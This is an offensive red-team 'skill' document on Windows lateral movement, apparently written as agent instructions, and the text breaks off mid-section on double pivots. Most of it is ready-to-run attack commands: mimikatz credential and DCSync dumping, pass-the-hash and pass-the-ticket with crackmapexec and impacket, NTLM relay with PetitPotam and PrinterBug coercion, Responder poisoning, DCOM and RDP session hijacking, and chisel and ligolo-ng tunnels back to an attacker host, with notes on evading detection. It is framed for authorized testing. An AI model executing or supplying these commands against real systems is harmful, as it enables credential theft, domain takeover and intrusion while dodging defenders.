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name: offensive-lateral-movement description: "Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypass, and detection evasion. Maps to MITRE ATT&CK T1021 (Remote Services), T1550 (Use Alternate Authentication Material), and sub-techniques. Includes defender-perspective detection guidance for blue team awareness and a rapid engagement cheatsheet for common lateral movement scenarios encountered during internal penetration tests and assumed-breach exercises."

Offensive Lateral Movement

Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.

This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.

Quick Workflow

1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
2. Harvest credentials from the current host (LSASS, SAM, cached creds).
3. Test credential reuse across discovered hosts with crackmapexec/netexec.
4. Select a movement technique based on available credentials and target services.
5. Establish persistence on the new host before moving further.
6. Set up tunneling if you need to reach segmented networks.
7. Document each pivot for your engagement report.

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Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.

Extract hashes with mimikatz on the current host:

# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv

Use crackmapexec (or netexec) to spray the hash across the network:

# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares

Use impacket for shell access:

# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>

OPSEC note: PsExec creates a service on the target (event 7045). Prefer wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce prevents lockouts when testing multiple users against multiple hashes.

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Pass-the-Ticket and Overpass-the-Hash

Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.

Export tickets from memory with mimikatz:

# List all Kerberos tickets in memory
sekurlsa::tickets /export

# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi

Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:

# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe

From Linux using impacket:

# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache

# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local

Request a service ticket for a specific SPN:

# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.

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NTLM Relay Attacks

NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.

Check SMB signing across the network:

# Identify hosts without SMB signing required
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# Alternative with nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24

Set up ntlmrelayx to relay captured authentication:

# Relay to targets without SMB signing, dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support

# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt"

# Relay to LDAP for delegation abuse or shadow credentials
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$

# Relay to ADCS web enrollment for certificate theft
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coerce authentication with PetitPotam (MS-EFSR abuse):

# Unauthenticated coercion (patched but often still works)
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>

# Authenticated coercion
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>

Coerce with DFSCoerce (MS-DFSNM):

python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>

Coerce with PrinterBug (MS-RPRN):

python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>

Set up Responder for poisoning and capture:

# Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -wFb

# Run in analysis mode first to identify traffic
responder -I eth0 -A

OPSEC note: NTLM relay is noisy. Responder poisoning is detectable by monitoring for duplicate name resolution responses. PetitPotam coercion generates event 4624 type 3 logons from the DC to your listener.

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Remote Execution Methods

Multiple protocols allow remote command execution once you have valid credentials. Each leaves a different forensic footprint.

WMI Execution

# impacket wmiexec -- semi-interactive shell via WMI
impacket-wmiexec corp.local/admin:Password1@10.10.10.50

# Execute a single command
impacket-wmiexec corp.local/admin:Password1@10.10.10.50 "ipconfig /all"

# With hash
impacket-wmiexec -hashes :<NT_HASH> corp.local/admin@10.10.10.50

WMI does not create a service. Output is written to a temporary file on the ADMIN$ share and read back. Generates WMI event logs (Microsoft-Windows-WMI-Activity).

WinRM / PSRemoting

# evil-winrm interactive shell
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'

# With hash
evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>

# Upload/download files
upload /local/path/payload.exe C:\Windows\Temp\payload.exe
download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt

# Native PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred
Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }

WinRM requires port 5985 (HTTP) or 5986 (HTTPS) open and the user in the Remote Management Users group (or local admin).

PsExec and Alternatives

# impacket psexec -- creates a service, uploads binary
impacket-psexec corp.local/admin:Password1@10.10.10.50

# smbexec -- no binary upload, uses cmd.exe service
impacket-smbexec corp.local/admin:Password1@10.10.10.50

# atexec -- scheduled task execution
impacket-atexec corp.local/admin:Password1@10.10.10.50 "whoami"

# dcomexec -- DCOM MMC20.Application or ShellWindows
impacket-dcomexec -object MMC20 corp.local/admin:Password1@10.10.10.50

DCOM Lateral Movement

# Instantiate MMC20.Application on remote host
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")

# ShellWindows method
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

DCOM requires port 135 plus dynamic RPC ports. Generates DCOM event logs (DistributedCOM 10016 errors are common indicators).

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RDP Session Hijacking

If you have SYSTEM on a terminal server, you can hijack disconnected RDP sessions without knowing the session owner's password.

# List active sessions
query user

# Hijack a disconnected session (requires SYSTEM context)
# Session ID 2, redirect to your console session
tscon 2 /dest:console

# Create a service to run tscon as SYSTEM
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
net start sesshijack

This technique (T1563.002) is powerful on jump servers where administrators leave sessions disconnected. It produces event 4778 (session reconnected) and 4779 (session disconnected).

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SSH Pivoting and Tunneling

When you land on a Linux host or a Windows host with OpenSSH, you set up tunnels to reach otherwise inaccessible network segments.

SSH Tunnels

# Local port forward: access 10.10.20.50:445 through pivot host
ssh -L 8445:10.10.20.50:445 user@pivot-host

# Dynamic SOCKS proxy through pivot host
ssh -D 1080 user@pivot-host

# Use proxychains with the SOCKS proxy
proxychains crackmapexec smb 10.10.20.0/24

# Remote port forward: expose internal service to your attack box
ssh -R 8080:127.0.0.1:80 user@attack-box

Chisel

# On your attack box (server mode)
chisel server --reverse --port 8080

# On the pivot host (client, reverse SOCKS)
chisel client <ATTACK_IP>:8080 R:socks

# This creates a SOCKS5 proxy on attack box port 1080
# Use with proxychains
proxychains impacket-psexec corp.local/admin:Password1@10.10.20.50

Ligolo-ng

# On attack box: start the proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On pivot host: connect the agent
ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert

# In the ligolo interface, add a route to the target network
>> session
>> ifconfig
>> start
# On attack box, add route
sudo ip route add 10.10.20.0/24 dev ligolo

Ligolo-ng creates a TUN interface on your attack box, giving you direct IP-layer access to the target network without needing proxychains. This is significantly more reliable than SOCKS proxying for tools that do not support proxy configuration.

Double Pivots

# Chain two SSH tunnels for multi-hop pivoting
# Hop 1: pivot1 can r